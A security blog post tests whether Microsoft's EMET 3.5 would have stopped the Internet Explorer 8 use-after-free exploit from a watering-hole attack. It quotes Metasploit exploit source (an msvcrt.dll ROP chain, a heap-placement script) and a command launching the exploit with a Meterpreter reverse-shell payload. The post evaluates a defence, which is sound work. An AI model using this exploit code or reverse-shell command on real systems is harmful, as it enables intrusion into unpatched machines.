What do Nuclear Scientists, Microsoft, and Metasploit have to do with keeping me honest? As everyone was celebrating the New Year on January of this year, my buddy Russ McRee posted some of my rambling thoughts to the Internet Storm Center about how EMET could protect against unknown future attacks (0-days). At the time, I tested Microsoft Enhanced Mitigation Experience Toolkit (EMET) 3.5 Tech Preview against CVE-2012-4792  found rigged on the Council of Foreign Relations Website. It is fair to say at that time I was working from a very biased perspective. The attack had already occurred and it was easy to look back in time and say EMET would have been successful in protecting against it. As every arm chair quarterback knows, it is easy to look into the past. However, as the boastful and arrogant person I can sometimes be, I claimed EMET could stop future attacks as well against novel exploits (0-days).  On the podcast the following day, Johannes noted my work and effectively said time will only tell. 

 

Well last fast forward four months. Chinese Hackers from the Deep Panda Group successfully injected a novel exploit into the Department of Labor’s Website  on May 1st, 2013. Arguably, the attack was directed at scientists that likely work in nuclear weapons research based on the content of the page. 

 

 

Figure 1: Infected DOE Web Page as seen on May 1, 2003

 

Maintaining the shift of attacks seen in early 2012, the attackers continued their campaign of watering-hole attacks. Described in a report by Symantec , the term watering hole makes reference to a hunting technique. Rather than search for the herd throughout the forest, hunters sit idly by at the watering hole, knowing the animals will eventually come to drink. Applied to hacking, watering hole attacks apply the same concept: infect a place where you know your target will visit. In the case of the May 1st attack, Deep Panda hoped nuclear scientists would visit a page on dealing with possible exposure to nuclear materials.

 

After successful exploitation, the exploit downloaded a variant of the Poison IVY Remote Access Toolkit (RAT) (http://www.poisonivy-rat.com), checked for the presence of and attempted to kill popular anti-virus (Avira, Bitdefender, AVG, ESET, Avira, Dr. Web, Sophos, F-Secure, Kaspersky). I’m making assumptions here, but at this point handlers from Deep Panda probably took over the target and began pillaging intellectual property and personal secrets belonging to the scientists. For further information about the attack, check out some great blog posts by Invincea and AlienVault 

 

Would EMET 3.5 have stopped the attack as I predicted four months earlier? Yes, I am fully aware EMET 4v Beta is available for download.  But I am trying to remain honest to my words from January 1st. Let’s see. The team at Metasploit reproduced the exploit used in the attack and posted the source. 

 

Examining the source code from Metasploit version of the exploit (dubbed cgenericelement_uaf since it is a use-after-free for cgenericelement), it appears the attack compromises only targets running Internet Explorer 8 on Windows XP SP3, Vista, Server 2003, or Windows 7 machines. Lets examine a couple minor aspects of the exploit. First, the authors (Sinn3r, Juan Vazquez, and EMH) wrote the exploit to bypass Data Execution Protection using a ROP Chain. This can be seen in Figure 2. In fact, it again uses the msvcrt.dll ROP chain. 

 

rop_payload = ''

 

case t['Rop']

when :msvcrt

algin  = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

chain = ''

 

if t.name == 'IE 8 on Windows XP SP3'

chain =

[

0x77c1e844, # POP EBP # RETN [msvcrt.dll]

0x77c1e844, # skip 4 bytes [msvcrt.dll]

0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]

0xffffffff,

0x77c127e5, # INC EBX # RETN [msvcrt.dll]

0x77c127e5, # INC EBX # RETN [msvcrt.dll]

0x77c4e0da, # POP EAX # RETN [msvcrt.dll]

0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)

0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]

0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]

0x77c34fcd, # POP EAX # RETN [msvcrt.dll]

0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)

0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN 

0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]

0x77c3048a, # POP EDI # RETN [msvcrt.dll]

0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]

0x77c46efb, # POP ESI # RETN [msvcrt.dll]

0x77c2aacc, # JMP [EAX] [msvcrt.dll]

0x77c3b860, # POP EAX # RETN [msvcrt.dll]

0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]

0x77c12df9, # PUSHAD # RETN [msvcrt.dll]

0x77c35459  # ptr to 'push esp #  ret ' [msvcrt.dll]

].pack("V*")

 

<..SNIPPED..>

 

 rop_payload = chain + algin + payload.encoded

 

Figure 2: Msvcrt.dll ROP Chain Creation in ie_cgenericelement_uaf Exploit

 

Next, the authors used a newly developed Mstime No-Spray Technique to place the encoded payload into the heap. What’s interesting to note is that the new technique for placing shellcode into the heap was only integrated into the Metasploit Framework on April 1st, 2013 by wchen. (https://gist.github.com/wchen-r7/ac29eb40fb33ddb5ab29). Using the CTIMEAnimationBase in Mstime, the technique allocates an array of pointers to controllable strings. As this exploit demonstrates, this only works against Internet Explorer 8 or prior, since IE 9 does not support the function in Mstime. 

 

sparkle = unescape("ABCD");

for (i=0; i < 2; i++) {

sparkle += unescape("ABCD");

}

sparkle += unescape("AB");

sparkle += unescape("#{js_payload}");

 

magenta = unescape("#{align_esp}");

 

<..SNIPPED..>

 

mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});

 

Figure 3: Mstime No-Spray Technique in ie_cgenericelement_uaf Exploit

 

So if you put the pieces together, we have a novel exploit (ie – an exploit without a signature), use of the msvcrt.dll ROP chain, a novel method for placing shellcode into the heap (Novel by the standards of EMET 3.5) and some shellcode to execute the Meterpreter. Lets fire up the exploit and browse to it . Figure 4 shows how to successfully start the exploit from the Metasploit framework. Here we will stand up an instance of the exploit on a webserver on TCP Port 8080, and have our payload (the Meterpreter) call back on TCP Port 4444. 

 

msfcli exploit/windows/browser/ie_cgenericelement_uaf SRVHOST=10.10.10.104 SRVPORT=8080 payload=windows/Meterpreter/reverse_tcp LPORT=4444 LHOST=10.10.10.104 E

 

Figure 4: Launching the ie_cgenericelement_uaf Exploit From Metasploit

 

We browse the new target at http://10.10.10.104:8080/dol with a victim Internet Explorer 8 on an unpatched Windows XP SP3 and see that the exploit successfully executes its payload, establishing a Meterpreter session on the victim.

 

 

Figure 5: Successful Compromise Using ie_cgenericelement_uaf Exploit

 

Ok, so we know the exploit works. Now lets install EMET 3.5 and repeat the exercise. We’ll begin by enabling all the protection mechanisms that EMET provides. 

 

Figure 6: Enabling All EMET Protection Mechanisms For Internet Explorer

 

With EMET 3.5 installed, we attempt the exploit again and EMET 3.5 immediately detects the Stack Pivot included in the msvcrt.dll ROP chain. 

 

Figure 7: Stackivot Detected By EMET 3.5

 

Next, we disable the StackPivot detection and protection mechanism in EMET and repeat. This time, the exploit successfully begins the ROP chain but is stopped at 0x77c1110c when the chain attempts to call VirtuAlloc() in an attempt to bypass Data Execution Protection (DEP). EMET 3.5 uses a mechanism to detect who is calling VirtualAlloc() and does not permit it to be called outside of the kernel.  

 

 

Figure 8: VirtualAlloc() Caller Checking in EMET 3.5

 

Ok, we disable the CallerChecking functionality and repeat. This time, the ROP Chain again fails when SimExecFlow detects ROP gadgets in use. SimExecFlow simulates the execution flow after the return address and detects subsequent ROP gadgets. Essentially, EMET 3.5 looks at the stack, sees a series of addresses that point to a couple instructions, followed by a RET-like instruction and identifies the ROP chain. Ok, so this won’t work. 

 

 

Figure 9: SimExecFlow Detecting ROP Gadgets in Use

 

We disable SimExecFlow checking and run the exploit again. This time, the exploit steps the entire way through our ROP chain and successfully places our shellcode into a region of executable memory. However, as soon as the shellcode begins to execute we are presented with a new error message. 

 

 

Figure 10: Export Address Table Access Filtering in EMET 3.5

 

We are reminded that in order to do anything useful (downloading a stager, adding a registry key, adding a user) with shellcode, we need to make calls to the Windows API. By accessing the export address table, shellcode can determine the location of useful APIs (most commonly in kernel32.dll or ntdll.dll). Without accessing the export address table, it proves difficult to find the location of specific required API calls. And thus, EMET 3.5 successfully detects this behavior and ceases the shellcode from executing further. So with several protection mechanisms disabled, EMET completely misses the exploit but catches and stops its payload. 

 

So at this point, I’m pretty happy. EMET has kept me honest against Deep Panda and their threat towards Nuclear Scientists. What I said four months earlier that EMET 3.5 preventing against novel attacks held very true four months after I said it. But there is a small caveat. Remember that No-Spray method I mentioned? EMET 3.5 failed to detect it in usage. In fact, repeating the exercise with EMET 4v Beta

also missed the No-Spray. Feature request, Microsoft?